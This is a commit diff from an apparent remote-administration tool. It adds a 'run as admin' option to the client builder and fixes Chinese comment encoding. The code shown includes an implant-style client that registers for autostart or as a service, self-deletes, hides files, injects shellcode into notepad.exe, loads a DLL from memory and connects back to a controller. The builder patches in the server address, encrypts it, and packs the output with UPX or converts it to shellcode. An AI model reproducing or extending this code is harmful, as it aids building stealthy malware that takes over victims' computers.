Improvement: Add runasAdmin to client building options

This commit is contained in:
yuanyuanxiang
2025-12-12 20:33:33 +01:00
parent 93d6e730b8
commit 460f6c44bc
6 changed files with 108 additions and 92 deletions

View File

@@ -192,7 +192,7 @@ int main(int argc, const char *argv[])
if (r <= 0) { if (r <= 0) {
BOOL s = self_del(); BOOL s = self_del();
if (!IsDebug) { if (!IsDebug) {
Mprintf("结束运行."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return r; return r;
} }
@@ -209,7 +209,7 @@ int main(int argc, const char *argv[])
Mprintf(" Arg [%d]: %s\n", i, argv[i]); Mprintf(" Arg [%d]: %s\n", i, argv[i]);
} }
if (ret) { if (ret) {
Mprintf("结束运行."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return 0x20251123; return 0x20251123;
} }
@@ -222,7 +222,7 @@ int main(int argc, const char *argv[])
CloseHandle(hMutex); CloseHandle(hMutex);
hMutex = NULL; hMutex = NULL;
#ifndef _DEBUG #ifndef _DEBUG
Mprintf("结束运行."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return -2; return -2;
#endif #endif
@@ -258,7 +258,7 @@ int main(int argc, const char *argv[])
status = E_STOP; status = E_STOP;
CloseHandle(hMutex); CloseHandle(hMutex);
Mprintf("结束运行."); Mprintf("结束运行.\n");
Logger::getInstance().stop(); Logger::getInstance().stop();
return 0; return 0;

View File

@@ -1,4 +1,4 @@

#include "StdAfx.h" #include "StdAfx.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "ShellcodeInj.h" #include "ShellcodeInj.h"
@@ -17,7 +17,7 @@ extern "C" {
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
// <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ // 自动启动注册表中的值
#define REG_NAME "ClientDemo" #define REG_NAME "ClientDemo"
typedef void (*StopRun)(); typedef void (*StopRun)();
@@ -26,13 +26,13 @@ typedef bool (*IsStoped)();
typedef BOOL (*IsExit)(); typedef BOOL (*IsExit)();
// ֹͣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 停止程序运行
StopRun stop = NULL; StopRun stop = NULL;
// <EFBFBD>Ƿ<EFBFBD><EFBFBD>ɹ<EFBFBD>ֹͣ // 是否成功停止
IsStoped bStop = NULL; IsStoped bStop = NULL;
// <EFBFBD>Ƿ<EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> // 是否退出被控端
IsExit bExit = NULL; IsExit bExit = NULL;
BOOL status = 0; BOOL status = 0;
@@ -53,7 +53,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
return TRUE; return TRUE;
} }
// <EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><EFBFBD><EFBFBD>. // 运行程序.
BOOL Run(const char* argv1, int argv2); BOOL Run(const char* argv1, int argv2);
// Package header. // Package header.
@@ -77,16 +77,16 @@ protected:
HMEMORYMODULE m_mod; HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName) std::string GetIPAddress(const char* hostName)
{ {
// 1. <EFBFBD>ж<EFBFBD><EFBFBD>Dz<EFBFBD><EFBFBD>ǺϷ<EFBFBD><EFBFBD><EFBFBD> IPv4 <EFBFBD><EFBFBD>ַ // 1. 判断是不是合法的 IPv4 地址
sockaddr_in sa; sockaddr_in sa;
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
// <EFBFBD>ǺϷ<EFBFBD> IPv4 <EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD> // 是合法 IPv4 地址,直接返回
return std::string(hostName); return std::string(hostName);
} }
// 2. <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 2. 否则尝试解析域名
addrinfo hints = {}, * res = nullptr; addrinfo hints = {}, * res = nullptr;
hints.ai_family = AF_INET; // ֻ֧<EFBFBD><EFBFBD> IPv4 hints.ai_family = AF_INET; // 只支持 IPv4
hints.ai_socktype = SOCK_STREAM; hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP; hints.ai_protocol = IPPROTO_TCP;
@@ -210,22 +210,22 @@ public:
} }
}; };
// @brief <EFBFBD><EFBFBD><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<EFBFBD>Ͷ˿<EFBFBD>. // @brief 首先读取settings.ini配置文件获取IP和端口.
// [settings] // [settings]
// localIp=XXX // localIp=XXX
// ghost=6688 // ghost=6688
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<EFBFBD>Ͷ˿<EFBFBD>. // 如果配置文件不存在就从命令行中获取IP和端口.
int main(int argc, const char *argv[]) int main(int argc, const char *argv[])
{ {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log); InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log);
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc; bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc;
// ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 注册启动项
int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf); int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) { if (r <= 0) {
BOOL s = self_del(); BOOL s = self_del();
if (!IsDebug) { if (!IsDebug) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return r; return r;
} }
@@ -233,7 +233,7 @@ int main(int argc, const char *argv[])
BOOL ok = SetSelfStart(argv[0], REG_NAME); BOOL ok = SetSelfStart(argv[0], REG_NAME);
if(!ok) { if(!ok) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"); Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
} }
if (isService) { if (isService) {
@@ -243,7 +243,7 @@ int main(int argc, const char *argv[])
Mprintf(" Arg [%d]: %s\n", i, argv[i]); Mprintf(" Arg [%d]: %s\n", i, argv[i]);
} }
if (ret) { if (ret) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return 0x20251202; return 0x20251202;
} }
@@ -262,7 +262,7 @@ int main(int argc, const char *argv[])
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port); g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
} }
// <EFBFBD><EFBFBD> Shell code <EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD>6543<EFBFBD>˿ڣ<EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD> // Shell code 连接本机6543端口注入到记事本
if (g_ConnectAddress.iStartup == Startup_InjSC) { if (g_ConnectAddress.iStartup == Startup_InjSC) {
// Try to inject shell code to `notepad.exe` // Try to inject shell code to `notepad.exe`
// If failed then run memory DLL // If failed then run memory DLL
@@ -289,7 +289,7 @@ int main(int argc, const char *argv[])
CloseHandle(hProcess); CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid); Mprintf("Process [%d] is finished.\n", pid);
if (status == 1) { if (status == 1) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return -1; return -1;
} }
@@ -305,21 +305,21 @@ int main(int argc, const char *argv[])
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
if (ret == 1) { if (ret == 1) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
return -1; return -1;
} }
} while (status == 0); } while (status == 0);
status = 0; status = 0;
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>."); Mprintf("结束运行.\n");
Sleep(1000); Sleep(1000);
Logger::getInstance().stop(); Logger::getInstance().stop();
return 0; return 0;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD>: IP <20><> <20>˿<EFBFBD>. // 传入命令行参数: IP 和 端口.
BOOL Run(const char* argv1, int argv2) BOOL Run(const char* argv1, int argv2)
{ {
BOOL result = FALSE; BOOL result = FALSE;
@@ -344,7 +344,7 @@ BOOL Run(const char* argv1, int argv2)
Mprintf("Error removing file. Error code: %d\n", GetLastError()); Mprintf("Error removing file. Error code: %d\n", GetLastError());
ok = FALSE; ok = FALSE;
} else { } else {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 设置文件属性为隐藏
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) { if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
Mprintf("File created and set to hidden: %s\n",oldFile.c_str()); Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
} }
@@ -377,7 +377,7 @@ BOOL Run(const char* argv1, int argv2)
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL; bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
if (NULL == run) { if (NULL == run) {
if (hDll) runner->FreeLibrary(hDll); if (hDll) runner->FreeLibrary(hDll);
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError()); Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
Sleep(3000); Sleep(3000);
delete runner; delete runner;
return FALSE; return FALSE;
@@ -387,7 +387,7 @@ BOOL Run(const char* argv1, int argv2)
strcpy_s(ip, g_ConnectAddress.ServerIP()); strcpy_s(ip, g_ConnectAddress.ServerIP());
int port = g_ConnectAddress.ServerPort(); int port = g_ConnectAddress.ServerPort();
strcpy(p + 1, "settings.ini"); strcpy(p + 1, "settings.ini");
if (_access(path, 0) == -1) { // <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ. if (_access(path, 0) == -1) { // 文件不存在: 优先从参数中取值,其次是从g_ConnectAddress取值.
strcpy(ip, argv1); strcpy(ip, argv1);
port = argv2; port = argv2;
} else { } else {
@@ -409,9 +409,9 @@ BOOL Run(const char* argv1, int argv2)
} }
} while (result == 2); } while (result == 2);
if (!runner->FreeLibrary(hDll)) { if (!runner->FreeLibrary(hDll)) {
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError()); Mprintf("释放动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
} else { } else {
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n"); Mprintf("释放动态链接库\"ServerDll.dll\"成功!\n");
} }
delete runner; delete runner;
return result; return result;

Binary file not shown.

View File

@@ -1,4 +1,4 @@
// BuildDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> // BuildDlg.cpp : 实现文件
// //
#include "stdafx.h" #include "stdafx.h"
@@ -23,7 +23,7 @@ enum Index {
OTHER_ITEM OTHER_ITEM
}; };
// CBuildDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD> // CBuildDlg 对话框
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
@@ -41,15 +41,15 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
if (hResource == NULL) { if (hResource == NULL) {
return NULL; return NULL;
} }
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>Դ<EFBFBD>Ĵ<EFBFBD>С // 获取资源的大小
dwSize = SizeofResource(NULL, hResource); dwSize = SizeofResource(NULL, hResource);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ // 加载资源
HGLOBAL hLoadedResource = LoadResource(NULL, hResource); HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
if (hLoadedResource == NULL) { if (hLoadedResource == NULL) {
return NULL; return NULL;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><EFBFBD> // 锁定资源并获取指向资源数据的指针
LPVOID pData = LockResource(hLoadedResource); LPVOID pData = LockResource(hLoadedResource);
if (pData == NULL) { if (pData == NULL) {
return NULL; return NULL;
@@ -67,7 +67,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strPort(_T("")) , m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN) , m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default")) , m_sGroupName(_T("default"))
, m_strEncryptIP(_T("<EFBFBD><EFBFBD>")) , m_strEncryptIP(_T(""))
{ {
} }
@@ -100,10 +100,11 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters) ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden) ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp) ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin)
END_MESSAGE_MAP() END_MESSAGE_MAP()
// CBuildDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // CBuildDlg 消息处理程序
std::string ReleaseUPX(); std::string ReleaseUPX();
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress); void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
@@ -173,7 +174,7 @@ void CBuildDlg::OnBnClickedOk()
int index = m_ComboExe.GetCurSel(), typ=index; int index = m_ComboExe.GetCurSel(), typ=index;
int is64bit = m_ComboBits.GetCurSel() == 0; int is64bit = m_ComboBits.GetCurSel() == 0;
if (index == IndexTestRun_InjSC && !is64bit) { if (index == IndexTestRun_InjSC && !is64bit) {
MessageBox("Shellcode ֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>64λ<EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>ע<EFBFBD>룬ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>64λ!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING); MessageBox("Shellcode 只能向64位记事本注入注入器也只能是64!", "提示", MB_ICONWARNING);
return; return;
} }
int startup = Startup_DLL; int startup = Startup_DLL;
@@ -219,7 +220,7 @@ void CBuildDlg::OnBnClickedOk()
case OTHER_ITEM: { case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file); m_OtherItem.GetWindowTextA(file);
typ = -1; typ = -1;
if (file != "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") { if (file != "未选择文件") {
CFile File; CFile File;
File.Open(file, CFile::modeRead | CFile::typeBinary); File.Open(file, CFile::modeRead | CFile::typeBinary);
dwFileSize = File.GetLength(); dwFileSize = File.GetLength();
@@ -235,10 +236,10 @@ void CBuildDlg::OnBnClickedOk()
break; break;
} }
if (szBuffer == NULL) { if (szBuffer == NULL) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING); MessageBox("出现内部错误,请检查输入,重新编译程序!", "提示", MB_ICONWARNING);
return; return;
} }
//////////<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ////////////////////// //////////上线信息//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 }; CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
if(m_strFindden.GetLength()) if(m_strFindden.GetLength())
memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength())); memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength()));
@@ -254,11 +255,13 @@ void CBuildDlg::OnBnClickedOk()
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
return; return;
} }
bool encrypt = m_strEncryptIP == _T("<EFBFBD><EFBFBD>"); bool encrypt = m_strEncryptIP == _T("");
if (encrypt && startup != Startup_InjSC && index != IndexTinyRun) if (encrypt && startup != Startup_InjSC && index != IndexTinyRun)
g_ConnectAddress.Encrypt(); g_ConnectAddress.Encrypt();
if (m_runasAdmin)
g_ConnectAddress.runasAdmin = TRUE;
try { try {
// <EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>ʶ // 更新标识
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize; char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
bool bFind = false; bool bFind = false;
int bufSize = dwFileSize; int bufSize = dwFileSize;
@@ -270,10 +273,10 @@ void CBuildDlg::OnBnClickedOk()
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset); CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1; auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
if (result > 0) { if (result > 0) {
MessageBox("<EFBFBD>ͻ<EFBFBD><EFBFBD>˰汾<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING); MessageBox("客户端版本比主控程序更高, 无法生成!\r\n" + file, "提示", MB_ICONWARNING);
return; return;
} }
if (result != -2 && result <= 0) { // <EFBFBD>ͻ<EFBFBD><EFBFBD>˰汾<EFBFBD><EFBFBD><EFBFBD>ܲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> if (result != -2 && result <= 0) { // 客户端版本不能不大于主控端
bFind = true; bFind = true;
auto master = GetMasterId(); auto master = GetMasterId();
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress)); memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
@@ -282,12 +285,12 @@ void CBuildDlg::OnBnClickedOk()
bufSize -= iOffset + sizeof(g_ConnectAddress); bufSize -= iOffset + sizeof(g_ConnectAddress);
} }
if (!bFind) { if (!bFind) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING); MessageBox("出现内部错误,未能找到标识信息!\r\n" + file, "提示", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
return; return;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> // 保存文件
char path[_MAX_PATH], * p = path; char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
@@ -299,19 +302,19 @@ void CBuildDlg::OnBnClickedOk()
CFile File; CFile File;
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
if (!r) { if (!r) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򴴽<EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + strSeverFile, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING); MessageBox("服务程序创建失败!\r\n" + strSeverFile, "提示", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
return; return;
} }
File.Write(szBuffer, dwFileSize); File.Write(szBuffer, dwFileSize);
File.Close(); File.Close();
CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : ""; CString tip = index == IndexTestRun_DLL ? "\r\n提示: 请生成\"ServerDll.dll\",以便程序正常运行。" : "";
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n<EFBFBD><EFBFBD>ʾ: ʹ<><CAB9>KCPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7>񣬱<EFBFBD><F1A3ACB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ1<CEAA><31>" : ""; tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n提示: 使用KCP协议生成服务必须设置主控UDP协议参数为1。" : "";
std::string upx; std::string upx;
if(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_UPX) upx = ReleaseUPX(); if(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_UPX) upx = ReleaseUPX();
if (!upx.empty()) { if (!upx.empty()) {
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true); run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UPXѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>\r\n<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>: " + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION); MessageBox("正在UPX压缩请关注信息提示。\r\n文件位于: " + strSeverFile + tip, "提示", MB_ICONINFORMATION);
} else { } else {
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES) { if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES) {
DWORD dwSize = 0; DWORD dwSize = 0;
@@ -348,25 +351,25 @@ void CBuildDlg::OnBnClickedOk()
} else if (m_ComboCompress.GetCurSel() == CLIENT_PE_TO_SEHLLCODE) { } else if (m_ComboCompress.GetCurSel() == CLIENT_PE_TO_SEHLLCODE) {
int pe_2_shellcode(const std::string & in_path, const std::string & out_str); int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString()); int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
if (ret)MessageBox(CString("ShellCode ת<EFBFBD><EFBFBD><EFBFBD>쳣, <20><EFBFBD><ECB3A3><EFBFBD><EFBFBD>: ") + CString(std::to_string(ret).c_str()), if (ret)MessageBox(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
"<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION); "提示", MB_ICONINFORMATION);
} }
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION); MessageBox("生成成功! 文件位于:\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
} }
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return; if (index == IndexTestRun_DLL) return;
} catch (CMemoryException* e) { } catch (CMemoryException* e) {
char err[100]; char err[100];
e->GetErrorMessage(err, sizeof(err)); e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD>ڴ<EFBFBD><EFBFBD>:" + CString(err), "<EFBFBD>", MB_ICONERROR); MessageBox("内存异常:" + CString(err), "异常", MB_ICONERROR);
} catch (CFileException* e) { } catch (CFileException* e) {
char err[100]; char err[100];
e->GetErrorMessage(err, sizeof(err)); e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>:" + CString(err), "<EFBFBD>", MB_ICONERROR); MessageBox("文件异常:" + CString(err), "异常", MB_ICONERROR);
} catch (CException* e) { } catch (CException* e) {
char err[100]; char err[100];
